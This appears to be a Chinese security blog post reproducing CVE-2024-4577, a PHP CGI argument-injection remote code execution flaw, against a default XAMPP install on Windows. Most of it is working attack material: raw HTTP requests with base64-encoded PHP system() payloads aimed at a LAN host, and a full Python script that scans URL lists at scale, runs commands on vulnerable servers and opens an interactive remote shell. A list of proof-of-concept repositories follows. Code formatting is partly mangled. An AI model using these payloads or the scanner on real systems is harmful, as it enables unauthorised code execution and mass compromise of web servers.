XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

声明：<TEST安全>公众号分享的安全工具、漏洞复现和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

D:CVE-2024-4577-PHP-RCE-mainCVE-2024-4577-PHP-RCE.py 192.168.0.105:80

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.4.25/

https://github.com/aaddmin1122345/CVE-2024-4577-POChttps://github.com/watchtowrlabs/CVE-2024-4577

GET /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/PiAg" HTTP/1.1Host: 192.168.0.105:80User-Agent: Accept-Encoding: gzip, deflateAccept: */*Connection: closeRedirect-Status: XCANWINContent-Length: 0

GET /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/PiAg" HTTP/1.1Host: 192.168.0.105:80User-Agent: Accept-Encoding: gzip, deflateAccept: */*Connection: closeRedirect-Status: XCANWINContent-Length: 0

import reimport base64import requestsimport rich_click as clickfrom colorama import Fore, initfrom alive_progress import alive_barfrom prompt_toolkit import PromptSessionfrom prompt_toolkit.formatted_text import HTMLfrom prompt_toolkit.history import InMemoryHistoryfrom concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()init(autoreset=True)



class PHPKiller:    def __init__(self, file_path=None, url=None, output=None):        self.urls = []        self.output = output        if file_path:            self.urls = self.read_urls_from_file(file_path)        elif url:            self.urls = 
        self.single_url_mode = url is not None

    def read_urls_from_file(self, file_path):        with open(file_path, "r") as file:            return file.read().splitlines()

    def custom_print(self, message: str, header: str) -> None:        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}        header_color = header_colors.get(header, "white")        formatted_message = click.style(            f"[{header}] ", fg=header_color, bold=True        ) + click.style(f"{message}", bold=True, fg="white")        click.echo(formatted_message)

    def send_request(self, url, cmd="whoami", verbose=True):        headers = {"Content-Type": "application/x-www-form-urlencoded"}        test = base64.b64encode(            f"echo '[S]'; system('{cmd}'); echo '[E]';".encode()        ).decode()        data = f"<?php phpinfo(); echo eval(base64_decode('{test}')); die()?>"        php_settings = [            "-d cgi.force_redirect=0",            '-d disable_functions=""',            "-d allow_url_include=1",            "-d auto_prepend_file=php://input",        ]        settings_str = (            " ".join(php_settings)            .replace("-", "%AD")            .replace("=", "%3D")            .replace(" ", "+")        )        payload = f"/php-cgi/php-cgi.exe?{settings_str}"

        try:            response = requests.post(                f"{url.rstrip('/')}{payload}",                headers=headers,                data=data,                timeout=5,                verify=False,            )            match = re.search(r"[S](.*?)[E]", response.text, re.DOTALL)            if match:                result_value = match.group(1).strip()                if verbose:                    self.custom_print(                        f"The URL {url} is vulnerable, Result: {result_value}", "+"                    )                return True, url, result_value            else:                return False, url, f"Fail at {url} with payload {payload}"        except requests.exceptions.RequestException as e:            return None, url, f"Error at {url} with payload {payload}: {str(e)}"

    def execute_requests(self):        total_urls = len(self.urls)        success_count = 0        fail_count = 0        error_count = 0

        if self.single_url_mode:            result, url, message = self.send_request(self.urls[0])            if result:                if self.output:                    with open(self.output, "a") as f:                        f.write(f"{url}n")                self.interactive_shell(url)            else:                self.custom_print(message, "-")        else:            with ThreadPoolExecutor(max_workers=100) as executor, alive_bar(                total_urls, enrich_print=False            ) as bar:                future_to_url = {                    executor.submit(self.send_request, url): url for url in self.urls                }                for future in as_completed(future_to_url):                    result, url, message = future.result()                    if result:                        success_count += 1                        if self.output:                            with open(self.output, "a") as f:                                f.write(f"{url}n")                    elif result is False:                        fail_count += 1                    else:                        error_count += 1                    bar.text = (                        f"{Fore.GREEN}Success: {success_count}{Fore.RESET}, "                        f"{Fore.YELLOW}Fail: {fail_count}{Fore.RESET}, "                        f"{Fore.RED}Error: {error_count}{Fore.RESET}"                    )                    bar()

    def interactive_shell(self, url: str):        session = PromptSession(history=InMemoryHistory())        while True:            cmd = session.prompt(                HTML("<ansiyellow><b>WINDAUBE> </b></ansiyellow>"), default=""            ).strip()            if cmd.lower() == "exit":                break            if cmd.lower() == "clear":                print("x1b[2Jx1b[H", end="")                continue

            _, _, response = self.send_request(url, cmd, verbose=False)            self.custom_print(f"Result:nn{response}", "*")



@click.command(    help="""    PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target.    A vulnerable configuration is locale dependent (such as Chinese or Japanese), such that    the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)    character. Additionally, a target web server must be configured to run PHP under CGI mode, or directly expose    the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),    and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have not received patches.    """)@click.option(    "--file",    "-f",    type=click.Path(exists=True),    required=False,    help="Path to file containing URLs to test.",)@click.option("--url", "-u", type=str, required=False, help="Single URL to test.")@click.option(    "--output",    "-o",    type=str,    required=False,    help="Output file to save vulnerable URLs.",)def main(file, url, output):    if file:        sender = PHPKiller(file_path=file, output=output)    elif url:        sender = PHPKiller(url=url, output=output)    else:        click.echo("You must provide either a file with URLs or a single URL to test.")        return    sender.execute_requests()



if __name__ == "__main__":    main()

https://github.com/11whoami99/CVE-2024-4577https://github.com/ohhhh693/CVE-2024-4577https://github.com/manuelinfosec/CVE-2024-4577https://github.com/Chocapikk/CVE-2024-4577https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/https://github.com/xcanwin/CVE-2024-4577-PHP-RCEhttps://github.com/W01fh4cker/CVE-2024-27198-RCEhttps://github.com/duy-31/CVE-2024-21413https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/https://bodhi.fedoraproject.org/updates/FEDORA-2024-52c23ef1echttps://www.kb.cert.org/vuls/id/520827https://www.php.net/downloads